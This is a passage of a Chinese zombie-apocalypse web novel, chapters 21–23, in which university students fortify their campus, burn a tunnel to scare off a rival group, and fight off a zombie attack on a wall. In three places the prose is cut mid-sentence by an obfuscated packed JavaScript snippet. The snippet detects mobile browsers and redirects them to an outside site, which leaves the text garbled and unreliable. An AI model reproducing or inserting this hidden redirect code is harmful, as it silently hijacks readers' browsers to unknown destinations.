可能是因为活人就在面前，却怎么都吃不到，原本还算稳定的雷子哥不知什么时候躁动起来，甚至开始呜咽着往篱笆上撞。 无聊的李穗像检索到任务信息的NPC，闻言眼神不住地往一旁的斧头上飘。 “不好！” 人群中的张梦娴突然抬头，提醒大家看微信群。 路灯微薄的灯光下，手机屏幕的光显得格外亮眼。 视频中，篮球场上裹着棉被捆绑起来的丧尸像毛毛虫般蠕动挣扎，嚎叫，仅露出来的头和脚就把铁丝网撞得往外突出。 镜头止不住地颤，看得出站在高墙上拍摄的同学有些腿抖。已经有丧尸开始朝着镜头的方向挣扎，随时可能冲上来的样子。 篮球场地势低，围栏高，丧尸从高墙上扔进去就像进了监狱。末世后东区的丧尸大多被扔到了这里。 要不是大多数丧尸还裹着棉被死死捆住，张梦娴几乎相信它们能把铁丝网生生撕开撞倒，冲出来…… 许尧低头看着手机，身体微颤。再抬头时，眼底已经没有一丝犹豫。 “去停车场，把车里剩的汽油抽出来。” 如果丧尸真的暴动，裹着棉被的它们也逃不过火烧的危险。 张梦娴学的统计，心思更细腻，她阻止住激昂的人群：“先往里面扔把火，试试丧尸到底怕火，还是趋光。” 丧尸固然抗不过火烧…… 但剧烈的光热却可能把校外的丧尸吸引过来。 激昂的人群被浇灭一半，在与丧尸斗争中屡战屡胜的同学们后知后觉地感受到末世无处不在的危险。 夜幕无声伸出它的爪牙。 沉默中，姜杞突然尖声道：“再留下一半的人修围墙。” 众人诧异地看向她。 “操场上的丧尸全体暴动，后山的雷子哥也暴躁起来。”她指着疯狂撞墙的雷子哥：“这绝对不是偶然。” 姜杞看向繁茂后山，看向山的后面隐隐约约的高楼，高楼后面的大海。她沉声道：“丧尸的异变一定有规律，今晚可能就是一个节点。” “校外的丧尸，一定也躁动起来了。” 不敢再耽误，许尧先带了一半的人走，迅速加固前门的防御，防备篮球场的丧尸，巡视校园的各个围墙，以及检查困在教学楼里的丧尸会不会有机会逃出来。 危险点着脚尖悄然接近，在人们掀开她面纱一角时，狡黠的音乐从四面八方响起。 是山林带着血腥的风声，是教学楼隐约的挣扎，是篮球场的声声咆哮！ 所有人都行动起来，整个东区都上紧了弦。高潮来临前的每一秒都弥足珍贵。 在姜杞的号召下，女生拿起斧子，提着砍刀，去最近的东三宿舍楼拆没人的空床。床板被拆成一块块木板，人们把被斧头破开的尖端插进土地里，密密麻麻的插了好几层，又用床单窗帘固定在一起。 大家还想在一层层木板之间继续加高，用木板插在第一层的缝隙之间，甚至想把停车场的车推过来， “可山林这么大，真的会有丧尸误打误撞跑上去，又误打误撞找到我们吗？”阮青舒迟疑道：“就算真的丧尸暴动了，我们要也该把防御中心放在学校大门吧。” 时间紧迫，看守大门的同学们在微信群里说门口已经零星出现好几个丧尸，她觉得不应该在后山投入太多的时间。 “这里被丧尸攻击的概率确实不高，但一旦出现，哪怕只有几个丧尸突然跑到学校里，冷不丁冒出来，对我们也是致命的打击。”朱妙妙轻声道。 后面离她们住的东四宿舍楼只隔了不到百米，谁能睡得安稳。 听了这话，李穗打了个寒颤，忍不住地抱紧了胳膊。 “而且，如果山里本来就住人了呢？” 汗水从姜杞下巴、睫毛滴落，刚扛着一摞木板从宿舍楼跑出来的她瞥了一眼阮青舒，顾不得擦汗就框框继续加高篱笆。 姜杞踩在第一层的木板顶上，身后却没人递过来木板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203028|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她眯着汗眼回头看，干得热火朝天的流水线因阮青舒的话语变得迟缓，不少人停下手中的活看向了她。 姜杞用被木刺扎的通红的手抹了把同样通红的脸，指了指外面那个正在撞树的疯狂身影。 “许尧每天都带着人巡逻无数遍，学校除正门外，不存在可以轻易进出的入口。就算真是从校内办公室跑到山林里的，那也得爬墙钻篱笆下面的狗洞。” “你们看他的衣服，那绝对不是爬过土地的衣服。” 说着说着，姜杞变轻也严肃起来，她边思考边轻声道：“而且，附近一定有路。” “鞋上的泥不多，身上衣服一点没破，不是从学校里跑出去的，也不是像从林子里钻出来的。” “下了一天的小雨，头发也不像淋了很久的样子，身上衣服微湿，是下雨后才跑出来的。” 姜杞加快了手上的动作，她大喊：“抓紧时间，这附近有人住，而且离得不远！” “可那个丧尸嘴里不是卷子吗？”一个男生大喊。 他觉得姜杞的分析有些太主观，从来没听说过山里边还有个小区。 声音刚落地，众人就看到那个踩在第一层篱笆上穿着背心的女生动了，她双手撑在裹着窗帘的木板上，身子一斜直接跳了出去！ 姜杞顺手抄起一块木板，挡在自己与那个直直扑过来的丧尸之间，隔着木板猛推了丧尸几步，然后抽手快步后退，随即又竖起木板朝丧尸插过去。 这样的方式可能还是不太适合她。 最后，姜杞抄着木板猛猛砸丧尸的头。不知道是哪一下打开窍了，反应过来时，面前的中年男人在她眼里就只是一只丧尸了。 她捡起李穗扔过来的斧头，给丧尸来了最后一下，从失去行动能力的丧尸嘴里掏出那张已经模糊了字迹的卷子。 “初二的题！” 人群沸腾起来！瑟缩着，后怕着，似乎已经能看到眼前漆黑的山林里陆陆续续走出一只只丧尸的场景。 人声沸腾中，姜杞目眦欲裂，她听到车声了！ 在傍晚，她们接到电话跑去楼下时，她也听到过这个声音。 毛恨竹瘦小的身躯里迸发出一声尖叫：“一定是上次把丧尸引来的那车人！还放着歌，那个车载音乐的歌单都一样！” 姜杞抄起斧头就像那边跑过去。 “这里怎么办！”一个男生看着她远去的身影目瞪口呆。 “什么怎么办？”另一个男生捶了他一下，骂道：“走一个人我们就不活了吗！” 随着他的声音落下，1230全宿舍都抄着家伙追了上去。 一个女生紧接着振臂高呼：“走四个人我们也照样活！” 随后又摆手按下众人熊熊的报复之火：“不过大家就别随便跟上去了，各有分工，大家做好分内的事就行，抓紧时间干活吧！” 毛恨竹恨得咬牙切齿但没跟上，她沉默着继续加固围墙。那个女生说得对，不能因为一时的喜怒耽误大事。她没什么对付那伙人的办法，就应该做好自己的事。 “那！那是什么！” 一声无可抑制的尖叫从人群中穿出。 几乎是同时，一声压抑的嘶吼从林子里传出来。当慌乱的众人将寻觅的目光投向山林时，那个满身血污的身影的已经从林子里冲了出来。 众人尖叫着后退。 直到丧尸撞上还并不稳固的篱笆。 一个手上为了修围墙磨出水泡的同学突然推开后退的人向前冲，他刚刚退的并不比别人少，但紧接着咬紧牙冲了上去。 身前的人并没有成为他的阻碍。 因为越来越多的人缓过劲来，停下了后退的脚步，癫狂向前奔，拼命抵在摇摇欲坠的围墙后面。 一个丧尸自然冲不过刚修筑的围墙。 但黑暗中隐约还有更多窜动的身影！ 丧尸！ 来了！ 21. 报复 姜杞听到了身后的尖叫，但她没回去，她相信留在原地的同学能应付得了。 她边打电话，边拼命地向操场的方向狂奔！ 李穗很快追了上来，边跑边扭头，瞪大了眼：“你干啥子去啊！还想跳下去跟他们硬干吗？” “你小子不会是背着我们觉醒异能了吧？” 姜杞挂掉电话，扭头让李穗去东四教学楼后面。 东四教学楼位于东区的边缘，一道铁艺栏杆将教学楼与山坡隔离开来。山坡是人工的，陡且光滑，坡下面就是道路。 除操场底下的隧道外，只有这条路靠近东区这边。 李穗看了眼气喘吁吁的姜杞，点点头没再多问，轻而易举地超过她，向更远的东四教学楼跑去。 姜杞横穿操场，跑到小广场后面的林子里，从杂草丛生的荒地穿过，爬上一个低矮的平台。 被林子遮挡的夜色陡然露出，星光倾斜。 远山只一点淡淡的轮廓，再近一点，楼房建筑高低错落。低头，隐约能看到下面道路的模样。 她站在东区的边缘，站在隧道上方。 傍晚的那伙人就是从隧道底下的这条路跑的，她疑心那伙人还会带着丧尸回来。 风声蝉鸣已经渐渐盖过汽车的声音，似乎车辆在渐行渐远。但姜杞并没有放松警惕，山路崎岖，不能轻易根据声音远近来判断。 身后悉数作响，一个抱着油桶的姐妹狼狈跑来，阮青舒拎着水桶紧紧跟在后面。她们是在来的路上碰到的。 抱棉被的同学也终于找到了这里。这两人都是刚接到姜杞电话从篮球场赶来的。 姜杞把油倒在棉被上。 张梦娴已经在群里通知了，丧尸趋光趋热，但也怕火，被烧后就不会再靠近了。 电话响起，姜杞迅速接起来，是张梦娴赶到了校门口。 嘶吼声混着剧烈的撞门声从手机里穿出，张梦娴尖着嗓子大喊才能听到自己的声音：“丧尸很多！但数量不再增加了，有同学用无人机看到附近的丧尸已经全部聚集了过来。” 隧道有两端，姜杞现在在东入口的上方，学校大门靠近西入口的旁边。 姜杞一开始只是想利用大火与爆炸逼退可能到来的那伙人，但又怕车后面的丧尸也会被吸引过来。 吸引丧尸……这提醒了她，巨大的光热也可能把隧道另一端的丧尸吸引过来，减轻学校大门的压力。 逼退来袭、但不能吸引跟在车后面的丧尸，还要尽可能吸引校门口丧尸…… 姜杞站在夜风里，静静听着汽车的轰鸣声与车载音乐的动静，这三件事她都要做到。 跟第一次在校门口听到的慢悠悠来临，又忽然冲刺离开的声音不同，这次车载音乐的声音非常乱，不但带着大量杂音，声音还忽大忽小。 姜杞似乎能看到汽车车速开到最大，在立交桥上迅速移动，试图甩开丧尸的画面。 那伙人玩脱了。 除非那群人真的蠢到在丧尸躁动时还要挑衅丧尸，把害人看得比保命还重要，否者这种情况下还开着音响，只能说明他们音响坏了。 迅速移动的汽车也印证了她的想法，如果是为了将丧尸引过来，他们不会把车开的这么快。 “来了！”阮青舒视力最好，一眼就瞥见那个从立交桥里转出来，即将冲向他们的汽车。 姜杞高举的火把扔了下去，早已泼上汽油扔下去的棉被被迅速点燃！ 从领导办公室搜刮来的白酒被先后扔下去，缓缓燃烧的火焰猛地窜出巨大的火舌！裹上衣服浇了汽油的石头墩子终于被快递驿站的小推车推了过来，几人合力将石墩抬上平台。 于是，当焦头烂额的张奇伟刚驾驶着汽车从立交桥上下来时，本应一片黑暗的前方突然出现隐约的火光，转瞬火舌高涨！黑漆漆的隧道被火光勾勒出模糊轮廓，仍然被黑暗吞噬的隧道深处黑影明灭，丧尸！是丧尸！ 恍惚间，张奇伟几乎丧失了判断力。 紧接着，半人高的火球从高处坠落！落到地上，发出巨大的声响，还有的火球竟直接向他们滚过来！ “快！掉头啊！” 卫信泽的手从后面伸出，拽着张奇伟调转方向。 拉扯间车身乱晃，险险要向道路两边撞去！【炫风车技】下意识激活，张奇伟刚刚险些被吓软的胳膊突然变得强硬无比，双目犀利，身体倾斜双手迅速打方向盘。 晃动的车身稳定下来，朝着另一条路的方向奔去，犹疑间已经在那条路上跑了一段距离。 车内众人惊魂未定，张奇伟无声回头，冷冷看了卫信泽一眼。卫信泽仰着头靠在舍友身上轻喘，半边脸被黑暗掩盖。 再回头时，张奇伟看到了隧道上方那几个举着火把的身影。 她们就明晃晃的站在那里，毫不遮掩，毫无畏惧！ 刺眼！ 明明那些人的身影已经随着转身而消失，可她们高举的火把还在张奇伟心中灼烧，烧得他心烦意乱。 车载音乐转动着杂音，张奇伟愤怒非常，一拳敲在已经坏掉的显示器上—— 顿时，车身剧烈颠簸！ 本就已经挤成沙丁鱼罐头的后排尖叫着互相扶持，可空间相对宽裕的前座被颠的上下乱窜。 被所有人用惊恐目光注视的张奇伟也是一脸茫然，他没兑换这方面的技能。 颠簸还在继续！ 可张奇伟并没动，这下大家都明白了不是他的原因。 颠簸从车下面传来，是道路上有异物。 卫信泽下意识以为车辆出了故障，可张奇伟怒火喷发的目光已经投向齐南大学的方向。 陡坡上，李穗高举火把，在张奇伟目光终于找到她时，才微微一笑，奋力将火把扔了出去。 姜杞说了，不搞偷偷摸摸的，就得让那伙人知道我们不好惹。 被巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203029|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大火舌恐吓过的张奇伟又惊又怒，脸上的肌肉无法控制地抽搐，手臂稳稳的操纵方向盘一往直前，下意识逃避那个燃烧的火把。 仿佛下一秒星星之火落地就会引发剧烈的爆炸，将他们吞没。 他慌不择路，虽然这次已经看到了道路上被恶意摆放的钢管铁条，但还是直愣愣的碾压了过去。 爆炸还不一定会发生。 车却大概率凶多吉少了。 现在车几乎完全是在技能的操纵下行驶的，技能结束后呢……吹了一晚上的夜风，张奇伟现在才突然感受到寒意。慌乱的心跟着脸色一起渐渐冷了下来。 车后面的丧尸似乎在逼近。 张奇伟冷着脸，打开了系统操纵页面。 …… 恐吓完那伙人后，李穗拔腿就跑。反正路面上只有几个她扔下去的几辆山地自行车还有建筑垃圾，就算扔了把火也烧不起来。 姜杞那边真的烧起来了，不少丧尸被吸引了过去，她着急去救火。 隧道的火势没有李穗想象的那么大。 当张奇伟一行人受到惊吓调转方向后，姜杞等人立刻泼下提前准备好的水。酒精加棉被的威力太大，一桶水作用不大，她们就用外套裹着小树林里的土往下扔。 避免追在车后面的丧尸被光热吸引，来到隧道这边。 张奇伟把车开得太快，丧尸并没有紧紧追在他们后面。所以当隧道出口烧起来时，丧尸还没追赶上来。 姜杞打的就是这个时间差。 当追逐张奇伟等人的丧尸出现在路口时，渐渐熄灭的火焰终究是引来了些许丧尸，但大部分的丧尸还是被噪音巨大的汽车吸引走了。 此时隧道下方聚集了两拨丧尸，一部分是隧道另一端原本围攻正门的尸潮分出来的，一部分是追在汽车后被火光吸引而来。 姜杞等人不但往下扔土灭火，还试图搬来石头向下砸。 丧尸在光热中挣扎，被火舌舔舐灼烧，似乎也能感觉到疼痛。但他们已经发现了高处的活人，饥饿似乎是比疼痛更难以忍耐的事情，它们站在火焰中向高处扑腾，嘶哑的吼叫愈发凄厉，但回应它们的只有沙土与石头。 热浪混着焦味和血腥气向上空翻涌。 浓烟呛得姜杞几乎睁不开眼，眯着眼听底下哪里叫得欢就把石头往哪里扔。阮青舒几乎吐了出来，连李穗都把心中那句“这时候应该埋几个地瓜”咽了下去，感觉肠胃翻涌。 朱妙妙忽然道：“来人了。” 是原本守在校门口的人来支援了。 为首的人拼命地跑，疯狂招手，但听不清在说些什么。 走近了，众人才从烈火灼烧与丧尸嘶吼声中听见那人的言语： 他是来找救援的。 姜杞掏出手机，才看到那密密麻麻的未接来电。 后山快要失守了。 不知道为什么，那伙丧尸的威力格外凶猛。 22. 丧尸反击战 按照植物大战僵尸的流程，他们应该在屋外构建层层攻击，层层防线，准备小推车这样的杀手锏，最后还能死守房屋，保障自己的生命安全。 姜杞也想打丧尸保卫战，一层层撤退，游刃有余，慢慢消耗丧尸。 可现实是他们只有一层刚刚修筑的简易围墙，木片为基，用布和铁丝固定，随时有被撞倒的风险。 奔向后山围墙的路上，血液奔腾的声音在脑海中呼啸，种种复杂的心绪一一疯狂闪过。姜杞强压下没用的情绪，心想，不对，这不是破局的点。 从后山离开时，一个女生在她们身后高呼：少四个人我们也照样能活！ 她说得对，守围墙的人并不差这几个。 那怎么办呢？ 前面没法构建层层防御……那就去后面。 去后面能做什么？ 后面有什么？ “后面有路，还有人住，并且离得不远” 姜杞猛地停住，后山有路，有人住，就一定有车！ 后山的围墙—— 密密麻麻几十个丧尸扑在围墙后面，不断撞击，黑红的血在刚卸下来的床板上留下一道道腥气的印记，已经看不出原来的颜色。 丧尸聚集在一起，一个压着一个，围墙向校园的方向倾斜。 甚至开始有丧尸踩在同伴的身体向上爬去。 当第一个丧尸出现在墙头时，侯源林大喊一声：“去找救援！” 随即从围墙后抽身，捡起一把大砍刀，就朝着丧尸跌落的地方冲了上去。 丧尸力气大，跳得远，而大家都紧贴着围墙抵挡丧尸的撞击。当那个跳到空地上的丧尸从地上抽搐着站起来，回身要扑向活人时，侯源林已经提着砍刀劈向了它的脖子！ 张梦娴、许尧还在校门口，同样曾从尸潮中闯出的侯源林自发担起了责任。 他曾经被丧尸抓伤过，但没有感染，所以事事都冲在最前面。 丧尸，丧尸……再回头时，侯源林看到墙头上已经冒出好几个丧尸的脑袋。 脑海中血气翻涌，他还没来得及喘口气，一个脑袋被削掉半层皮的丧尸就踩着同伴的脑袋踉跄起身，从墙头上向他扑来。 侯林源止住后退的冲动，强忍着害怕躬身向前冲几步躲过了丧尸，随即转身，从丧尸的后背捅向它的脖子。 陆续有同学上前来帮忙。 越来越多的丧尸也从围墙上冒了出来。 “丧尸，丧尸好像在追着人跑！” 这不废话吗，侯源林心想。可那个女生的声音太过认真，他下意识朝那个女生的方向看了一眼。 她紧紧盯着跑去找救援的那几个人。 毛恨竹指着那个不远处贴着墙根狂奔的身影，颤声道：“我看到有个本来已经爬上墙头的丧尸，在那个男生跑后，跳下墙头跟了上去。” 她说的可能不是很明白。 但侯源林瞬间理解了她的意思。 电光火石间，他突然知道了为什么学校的围墙那么高那么长，可丧尸竟知道朝着最薄弱的地方围攻。 不是因为丧尸异变了，进化了。而是因为这里最薄弱，所以大家聚集在这里。 是聚集在这里的人吸引了丧尸！ “散开！”侯源林和毛恨竹一齐想明白了这件事，同时朝着围墙后的大家呐喊。“丧尸被人人吸引过来的！留在一半的人抵在围墙后，另一半贴着墙往食堂那边跑！” 那边的围墙高，墙体厚，不会有被丧尸冲破的风险。 围墙下的同学们陆陆续续的贴着墙根移动，可随着移动的人增加，抵挡丧尸冲击的人减少，本就不稳的围墙被撞得晃动幅度越来越大。 人心惶惶，有人害怕围墙倒下会更危险，觉得应该留下来。可晃动幅度越来越大的围墙又让人两股战战。不知道到底该怎么办。 侯源林冲上前，抵在围墙后面。 他认为自己是对的，咬着牙绝不更改指令。 毛恨竹打着手电动指挥，坚定，不拖泥带水。两人的态度让犹疑不决的众人心中有了主心骨，迅速有序向食堂那边移动。 恍惚中，侯源林感觉身后的撞击没有那么强了。 被汗水模糊的眼睛睁开一条缝隙。 他们是对的，丧尸也跟着人群开始移动了。 在他看不到的地方，有同学点燃了绿化带里捡来的枯树枝，还在高高的围墙后大声呼喊，企图吸引来更多的丧尸。 人们灵活在围墙后移动，丧尸也跟着狂奔，不少同学意识到丧尸不聚集就没法踩着同伴的身体爬到墙上，顿感安全感饱满，甚至不断挑衅丧尸。 不知怎的，竟然真有个丧尸带着一身落叶从墙上跳下来，瘸着腿扑向离它最近的同学。 人群尖叫四散！ 转瞬又怒从心起。 “丫的。”一个高个子女生全身上下裹得严严实实的，愤怒的大喝一声，直接朝丧尸的后背扑了过去，直接抱住了那双腐臭的腿。 原本被丧尸追赶，已经吓哭了的小姑娘也回来了，边哭边捡起个枯树枝就朝着丧尸伤口去狠狠捅下去。 “就一个丧尸还跟我们几十个人叫唤！” 郝好愤怒扑上前，按住丧尸不断抽搐的头，从地上里抓了把土就塞丧尸嘴里。 被雨水浸透的土地透着股潮气，湿土一抓就能成团，带着黏性的泥土就这样塞在丧尸嘴里，它既不知道吞咽，也没有吐的行为，只一味把嘴张更大。 他总是能想到一些非常规方法对付丧尸，并且颇为有效。 这片墙头上搭着半截枯树，大概是被雷劈倒的，陆陆续续有丧尸以此为梯窜上墙头，又从墙头上跳下来。 丧尸智力低下，如果这段墙后面没人，它们也不会专门从这片树上跳下来进入学校。 所以，跑开就好了。 可竟然没有一个人选择离开。 几十人不约而同的找起趁手的工具，盯着那个搭着半截枯树的墙头。 这里的围墙坚固，不用抵在后面阻挡丧尸的冲击，终于所有人都能腾出手来对付丧尸了。 有人从土里抠出半块砖头，有人捡起被大风吹来不知多久的脏衣服准备塞丧尸嘴里，捆住它们的胳膊，还有几个从远方跑来的人，抱着棉被，推着垃圾桶。 墙头窸窸窣窣，似乎很快又要有丧尸窜上来。 这一次，几十人操着武器守在墙后面。 他们又不傻，众人商量好打死一个丧尸就换个地方，不让丧尸有机会聚集起来。 侯林源不清楚那边的事情，但他明显感受到身后的压力变小了太多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203030|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疲惫的身体靠在围墙上，脚边的大砍刀又被他重新捡起。卷发被汗水打湿，一缕缕耷拉在眉眼间。 星光下，两批人相隔百米，却在同一处境下做出了相同的决定。 劫后余生的叹息，汇聚成反攻的前奏！ 紧贴围墙的后背终于缓缓挺起，侯源林喘了口气，随即踩着丧尸的尸体从围墙缝隙中爬上去，勘察情况。 只一眼，他就震惊的瞪大了双眼。 下面的兄弟拽了拽他西装的衣摆：“咋啦兄弟？丧尸又来啦？” 侯源林顾不上回答，他窜上围墙，狠狠的把手里的砍刀甩了出去！ 这一刀不是砍向丧尸。 山林里，姜杞从车窗探出半个身子，在车身贴近大树的瞬间握住了砍进树干的砍刀，使劲抽了出来！ 随即回身，一刀砍向了扒在后车门上的那个丧尸的脑袋。 落叶被车轮卷起，尘土飞扬，刺眼的车灯如光蛇从暗夜中冲出，还在嘶吼的丧尸却被永远留在黑夜里。 姜杞回到副驾驶上，攥紧砍刀。 开车的李穗被光掩住了神色，骨节分明的手掌紧握方向盘，庞大的车身在林间灵活穿梭，发出巨大声响。 丧尸被声响刺激，从四面八方奔来。 李穗咬紧牙关，直冲冲撞过去！ 被撞倒的丧尸不计其数，生扑过来的丧尸甚至挡在挡风玻璃前。李穗干脆不看路，她一味把油门踩到最底，冲出山林后方向盘打满，一个直角转弯侧停在围墙下面。 愣了半秒，还下意识把转向灯迅速开关一遍。 姜杞疯狂按喇叭。 于是，一只又一只的丧尸从黑暗中扑出来，像是没有尽头。 当视野几乎在被丧尸淹没，李穗一脚油门踩下去，汽车震耳欲馈的轰鸣怎么也压不住她的声声低笑。 她们沿着围墙横冲直撞。 丧尸像台风天的破布那样被撞飞，车轮从本该平坦的空地上磕磕绊绊地碾压过去。腥气被夜风卷起，蚊虫兴奋盘旋。 昏昏沉沉的光照下，轰鸣的噪音中，姜杞感觉自己被卷进绞肉机中。 她本以为自己会吐出来。 可身边的李穗面色狰狞，嘴里骂骂咧咧，就像一个平常的，忘记写作业后被老师在群里@的夜晚。 姜杞忽然意识到，最终她们要像习惯蚊虫、习惯pua，习惯军训时打不到饭那样习惯丧尸的存在。 接受，然后习惯。 前路被山林掩映后，李穗艰难掉头，最后还是看着周围的地形想象这是在驾校，走了遍倒车入库才把车倒回来。 其实她才刚考完科目二。 她们按着喇叭，开着乱七八糟的车载音乐，在这条并不算长的空地上碾压了很多遍。 围墙边已经几乎看不到丧尸了，但山林里还隐约有黑影窜动。 碾压了无数丧尸的车辆终于在空地上停了下来。 围墙里欢呼不断，似乎已经完全沉浸在劫后余生的庆幸中。侯源林在这样的狂欢里跳下围墙。 正好车后面也走出了一个人。 尾灯微弱的光下，那个女生拎着砍刀，一边警惕地盯着山林，一边紧了紧手上的绷带。 侯源林突然明白了为什么只有她下车了。 她也被丧尸抓伤了。 23. 大学生会自己给自己放假 欢呼的声音渐渐被夜风吹散。 围墙上人头高地错落，各种目光陆续落在墙外的两个人身上。 侯源林被丧尸抓过大家是知道的。那个女生叫姜杞，作为从尸潮中拉了一车物资回来的四人之一，她同样很有名。 绷带下隐隐殷出淡淡的红色，抓人眼球。各种思绪在沉默中疯狂生长，可她没给众人思考的时间。 略整理后，拎着砍刀，三两步冲进黑暗里。 夜晚会吃人。 上大学前，姜杞也喜欢幻想。现在她已经快两年没胡思乱想过了。 山林里本应没有一丝亮光，连星光也被繁茂枝叶层层阻拦。独处的时候人更难控制思绪，姜杞感觉过往的每分每秒都在吞噬现在的自己。 她恍惚又看到了曾经对自己给予厚望的老师，却不知道怎么打招呼。 类似的尴尬与沉默同样发生在查看了高考成绩后接通妈妈电话后的那几分钟。 山林空气潮湿，像开了空调的地下室。 像冬天早上洗了头后没办法吹干，带着结了冰渣子的头发赶去上早自习，结果还是迟到，被难得早起一回的班主任臭骂一顿后罚去走廊站着。 她在林间狂奔，如同不堪的记忆在身后追赶。 那就停下吧。姜杞突然不想跑了，她猛地停住，回忆如漏气的充气堡垒从身后将她裹挟。 而她猛地转身，一刀劈向身后追赶的丧尸。 血液飞溅，她下意识闭上了眼。温热的血顺着刀身流到她手上，姜杞心中不知怎的受到一丝抚慰，但她还是尽快用衣袖把血液擦干。 湿手会握不紧刀柄。 打了就会死的丧尸，比肆意滋生完全不受控制的思绪更让她有活着的实感。 垂死挣扎的腐臭胳膊还在试图戳她的脸。姜杞平淡地扒开那个脱臼使不上力气的胳膊，随即猛地瞪大了眼，又瞬间将其拉回挡在自己身前。 丧尸的尸体抵挡了部分冲击，可她还是被撞得连连后退。 紧随其后的侯源林屏气凝神，冲刺几步，朝着那个高大丧尸一钢棍打下去。 丧尸被他打弯了脖子。 弯了脖子的丧尸踉跄回头，似乎没有受到什么影响。 姜杞不会给它摆造型的机会，在它试图回头的瞬间就一个箭步冲上前来，砍刀捅进它的腹部。 可这个丧尸的力量竟然这么大。 它在砍刀的刺激下疯狂挣扎，竟将砍刀从姜杞手中拽出，腹部插着砍刀狂奔。 两人对视一眼，刚要追上去，突然姜杞拉住了侯源林的胳膊。 她被呛得咳嗽起来。 追丧尸不是重点，差点忘了她为什么回来。 侯源林也闻到了那股味道，咳嗽声陆续从身后响起，二人相继转头。 黑暗中，原本缩在围墙里的同学一个接一个跑出来。 裹着棉被，身上绑着课本，手持菜刀桌子腿拖把杆，全副武装，气势昂扬。只是时不时被黑烟呛得低头咳嗽。 “到底怎么回事啊？” “哪来的烟？” 李穗扒开人群冲了出来，高喊：“跟着烟走，我舍友就在那里！” 当时从隧道上方离开后，姜杞带着大家一起爬围墙跑到了学校后山上，从杂草丛生的灌木林里穿过，找到了一片老旧的建筑群。 谁也没想到茂林山林后竟是这个样子。 这种建筑群一般不会建在山上。 可严谨的来说，这也算不上山里。白海市地势起伏，山路崎岖，东区建在半山坡上，这片建筑的地基高低错落，出门后却是平坦的道路。 姜杞兼职的时候还曾路过这一片，却没想到翻过山头就是她们学校。 这里有已经被丧尸肆虐过的鸡圈、便利店，甚至有鱼塘，有一块块小菜地。 丧尸不多，可能在末世初期就追着鸡鸭跑走了，更多应该是已经汇聚在学校外的围墙边上。 靠近她们的那栋楼下正好停着几辆车，有的车门紧锁，不知道有没有幸存者在。有的车门大敞，地面上血迹斑驳。 周遭还零星游荡着两个丧尸。 大家心里都明白，在她们没看到的地方，丧尸的数量只会更多。 阮青舒高挑，朱妙妙身形小巧，她们适合把丧尸引开。本来体格最好的李穗最适合干这个，但她车技也最好，于是当仁不让承担起开车的责任。 两人小心地藏在草丛里，朝着远处缓缓移动。 朱妙妙找到了一个适合点火的地方。 那是两栋居民楼之间的天井院里，本该停车的草坪被开垦成菜地，种上了绿油油的小青菜，还有各种色彩缤纷的蔬菜，有的果子才刚长成手指大小，姜杞不在，阮青舒认不出这些东西。 菜地靠近围墙的地方有一垛柴火，两人打算点燃柴火把丧尸引过来。 柴火数量有限，燃烧完了自然就熄灭，也不会把更远地方的丧尸吸引过来。 可她们同样怕熄灭的太快，不能给姜杞等人争取到足够的时间。 最终，阮青舒在果树下找到一把老旧的木梯。 在火焰烧到大半的时候，她艰难的从木梯上爬了上去，然后拉了把身后的朱妙妙。两人都爬了上去后，朱妙妙小心地用脚推倒梯子。 以防有丧尸顺着梯子爬上来。 丧尸因活人的出现而逐渐疯狂，本来在火堆边徘徊的丧尸发疯般冲到了正在燃烧的火堆里，升腾的火焰扭曲了丧尸的模样，本就奇怪的肢体在火焰中更加诡异。 黑暗中，火光下，两个女孩抱在一起。互相偎依着，怕对方掉下去。 其实并没有多害怕。 她们知道会有人来救自己。 姜杞朝着火光的地方狂奔。 冲出山林后，她停下脚步，慢慢走向那个倒在路灯下的尸体。 身体被捅穿后，就算是丧尸也没能活下去。 她从丧尸的身体中抽出了那把砍刀，抬头擦拭时，看到门牌上的印刷体：退|役j人事务所。 这里以往大概也是很低调安静的地方。 所以隔着一个小山头，东区的学生们从来不知道后面还有这么多人的存在。 她擦干净刀柄上的血，握紧武器，小心地向着火光的方向走去。 大部分人被留在草丛里等待信息，怕动静太大惊动丧尸。丧尸不怕受伤，但他们要好好活着，所以必须小心谨慎。 被火光和活人吸引过来的丧尸其实并没有多少。 丧尸爆发的时候正是中午，上了年纪的人大多有午睡的习惯，待在外面的人遇到丧尸也能开车逃跑。 更重要的是，大部分的丧尸已经被山那边的上百个活人吸引走了。 现在火堆里挣扎的几个丧尸也嗅到了更多的活人气息，扭曲的肢体有些迟疑，不知该往那边去。 高坐 